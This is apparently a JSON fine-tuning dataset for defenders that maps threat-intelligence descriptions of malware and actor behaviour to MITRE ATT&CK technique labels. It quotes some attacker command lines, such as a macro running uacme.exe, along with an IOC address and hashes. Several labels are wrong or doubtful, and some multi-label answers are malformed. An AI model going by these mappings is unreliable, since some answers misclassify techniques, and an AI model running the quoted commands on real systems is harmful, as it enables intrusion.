                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession has used a file named English.rtf to appear benign on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes a binary on the system and logs the results into a temp file by using: cmd.exe /c \"<file_path> > %temp%\\PM* .tmp 2>&1\"."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MESSAGETAP has XOR-encrypted and stored contents of SMS messages that matched its target list."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used Ntdsutil to dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used batch scripts to enumerate network information, including information about trusts, zones, and the domain."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter uses EnumServicesStatusExW to enumerate running services on the network."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various  malware enumerates logged-on users."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Current variants will often drop or retrieve secondary executables to inject into, or they will attempt to inject into known (and vulnerable) binaries already present on targeted hosts"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can create a Startup item for persistence if it determines it is on a Windows system."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher can execute additional plugins by loading the respective DLLs."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux Rabbit maintains persistence on an infected machine through rc.local and .bashrc files."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can use HTTP or HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy. Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries"
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account', 'T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can use WMI to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename The_Four_Traps_for_China.doc   File Size 4428595 bytes   MD5 7659c41a30976d523bb0fbb8cde49094   SHA1 3f1f3e838a307aff52fbcb5bba5e4c8fe68c30e5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"Uploader\" variant of HAMMERTOSS visits a hard-coded server over HTTP/S to download the images HAMMERTOSS uses to receive commands."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 2 Code that issues DNS query to gogle.co if a debugger is detected All DNS requests issued by RogueRobin use the built in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can remove all command history on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D can run commands through a terminal on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used Remote Desktop Protocol to conduct lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In December 2019, another version of the AppleJeus malware was identified on Twitter by a cybersecurity company based on many similarities to the original AppleJeus malware. In contrast, open-source reporting stated that the Windows version might have been downloaded via instant messaging service Telegram, as it was found in a “Telegram Downloads” folder on an unnamed victim"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ConnectWise can be used to execute PowerShell commands on target machines."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon bypasses UAC using the CMSTPLUA COM interface."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can download additional malware from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell has been copied over network shares to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can use process hollowing to inject one of its trojans into another process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs service discovery using net start commands."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group has used \"-W Hidden\" to conceal PowerShell windows by setting the WindowStyle parameter to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "configured its payload to inject into the rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy performs persistence with a logon script via adding to the Registry key \"HKCU\\Environment\\UserInitMprLogonScript\"."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C&C communication, POLONIUM abuses common cloud services such as Dropbox, OneDrive, and Mega."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT uses WMI to query the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group malware has collected Microsoft Office documents from mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT19 HTTP malware variant decrypts strings using single-byte XOR keys."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has infected victims by tricking them into visiting compromised watering hole websites."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "operates over ports 21 and 20."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second family of Lazarus malware appearing in recent months has, as far as we are aware, received little to no analysis from researchers, possibly due to its targeted nature and a lack of ITW sightings"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar has used compromised WordPress blogs as C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An official website of the United States government . Here’s how you know . Official websites use .gov A .gov website belongs to an official government organization in the United States. Secure .gov websites use HTTPS A lock (LockA locked padlock) or https:// means you’ve safely connected to the .gov website. O’Reilly of the Defense Criminal Investigative Service (DCIS) of the U.S. Among other things, Zhu and Zhang registered IT infrastructure that the APT10 Group used for its intrusions and engaged in illegal hacking operations. The indictment alleges that the defendants were part of a group that hacked computers in at least a dozen countries and gave China’s intelligence service access to sensitive business information,” said Deputy Attorney General Rosenstein. It's going to take all of us working together to protect our economic security and our way of life, because the American people deserve no less. The APT10 Group used some of the same online facilities to initiate, facilitate and execute its campaigns during the conspiracy. Earlier, beginning in or about 2006, members of the APT10 Group, including Zhu and Zhang, engaged in an intrusion campaign to obtain unauthorized access to the computers and computer networks of more than 45 technology companies and U.S. To avoid antivirus detection, the malware was installed using malicious files that masqueraded as legitimate files associated with the victim computer’s operating system. Such malware enabled members of the APT10 Group to monitor victims’ computers remotely and steal user credentials"
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has queried the Registry to identify victim information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network Downloader The Network Downloader functionality allows the actor to quickly upload user files from remote victim systems"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\\Start Menu\\Programs\\Startup\\Anti virus service.lnk. As in the previous version, the ID of the infected system is generated with exactly the same method. The C2 is different and the analysed version this time only contains a single domain"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX has a module for enumerating TCP and UDP network connections and associated processes using the \"netstat\" command."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adbupd can run a copy of cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains code to delete files from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has crafted malicious files to exploit CVE-2012-0158 and CVE-2010-3333 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A C&C address (103.82.52[.]18) which was found in one of MosaicRegressor’s variants (MD5:3B58E122D9E17121416B146DAAB4DB9D) was observed in use by the ‘Winnti umbrella and linked groups’, according to a publicly available report. Since this is the only link between our findings and any of the groups using the Winnti backdoor, we estimate with low confidence that it is indeed responsible for the attacks."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has used .PNG images within a zip file to build the executable."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo can send the data it collects to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. Instead, it writes it’s keylog to a registry key that it uses as a buffer"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whenever winword makes any graphical call, the shellcode executes. This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1574.013 - KernelCallbackTable', 'T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While analyzing this intrusion, we observed further persistence via scheduled tasks associated with post-exploitation activities.. . This scheduled task with name HpSupport executed a Cobalt Strike Beacon kaslose64.dll both on the Domain Controller and the File Server:"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete malware used Python’s urllib library to make HTTP requests to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. APT32 has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can set the timestamps for its worker and service components to match that of cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location. MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2)."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Visual Basic macro uses the following command line:  cmd /c expand %TEMP%\\setup.cab -F:* %TEMP% && cd /d %TEMP% && del /f /q setup.cab && uacme.exe  The control server credential information contained in the CAB files is different:   Decoded credential data contained in another ipnet.ini"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can decrypt its payload prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Ke3chang backdoors achieved persistence by adding a Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to set certain attributes such as creation/modification timestamps on files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can SSH to a remote service."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exfiltrated data in HTTP POST headers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent. Turla RPC backdoors have also searched for files matching the \"lPH*.dll\" pattern."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
